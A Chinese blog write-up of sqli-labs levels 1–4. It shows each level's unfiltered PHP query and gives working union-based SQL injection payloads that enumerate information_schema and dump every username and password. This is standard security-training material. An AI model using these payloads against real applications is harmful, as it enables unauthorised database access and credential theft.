Less 1-4

开头先随便试?id=1,然后追加'或者" 看报错信息,基本就知道源码SQL语句是什么了

Less-1

源码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
在拼接SQL语句时未对id进行任何的过滤等操作

payload:

1?id=1' or 1=1 --+
# 拼接结果:SELECT * FROM users WHERE id='1' or 1=1 --+' LIMIT 0,1
1=1永真,--+后面都被注释掉了,故结果永真
2?id=1' and 1=1 order by 3 --+
# order by子句返回字段数,本字段数为3
!(https://img-blog.csdnimg.cn/20200804142758100.png)
3、?id=1' or 1=1 order by 3 --+
# order by 3是试出来的,到4的时候已经报错,故总共三列
# 和2的登陆名不同
4?id=-1' union select 1,2,3 --+
# 很明显并不存在id=-1的值,我们这么做的目的是为了使第二个select语句起作用,源码limit 0,1只读取一条记录。

union注入很常用!!!
在union注入时,如果我们通过测试已经知道了前面语句的字段数,就可以写入union 注入语句,但存在一个问题,我们虽然可以通过注入获得想要的信息,但这些信息必须能够返回到我们手中,对于网页来说,如何能够让数据回显是至关重要的。例如本网站的参数传递执行的查询有3个字段,但是很可能这些字段不是都显示在网页前端的,假如其中的1或2个字段的查询结果是会返回到前端的,那么我们就需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与前端显示的通道。如果我们直接输入查询字段进行查询,语句会非常冗长,而且很可能还需要做很多次测试,这时候我们利用一个简单的select 1,2,3,根据显示在页面上的数字就可以知道哪个数字是这个“通道”,那么我们只需要把这个数字改成我们想查询的内容(如id,password),当数据爆破成功后,就会在窗口显示我们想要的结果
可以看到2、3字段回显,接下来我们就可以改变对应字段值的名字进行爆库啦~~

  猜数据库 select schema_name from information_schema.schemata 
  猜某库的数据表 select table_name from information_schema.tables where table_schema='xxxxx'
  猜某表的所有列 Select column_name from information_schema.columns where table_name='xxxxx'
  获取某列的内容 Select *** from ****
5、爆数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
# group_concat(str1,str2,...) --连接一个组的所有字符串,并以逗号分隔每一条数据
6、观察到有一个security的数据库,尝试爆它的数据表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
这个也可以,而且不用步骤5
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+  
7、发现名为users的数据表,爆它!!!
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
8、看到username和password啦,胜利在望,爆数据~~
?id=-1' union select 1,username,password from users where id=5 --+
修改where id的值可以得到不同的用户名和密码。
或?id=-1' union select 1,2,group_concat(id,'.',username,':',password) from users --+
直接得到所有数据

Less-2

SQL语句:
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1 union select 1,2,group_concat(id,'.',username,':',password) from users --+

Less-3

源码:
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

payload:

?id=-1') union select 1,2,group_concat(id,'.',username,':',password) from users --+

Less-4

源码:
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

payload:

?id=-1") union select 1,2,group_concat(id,'.',username,':',password) from users --+
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值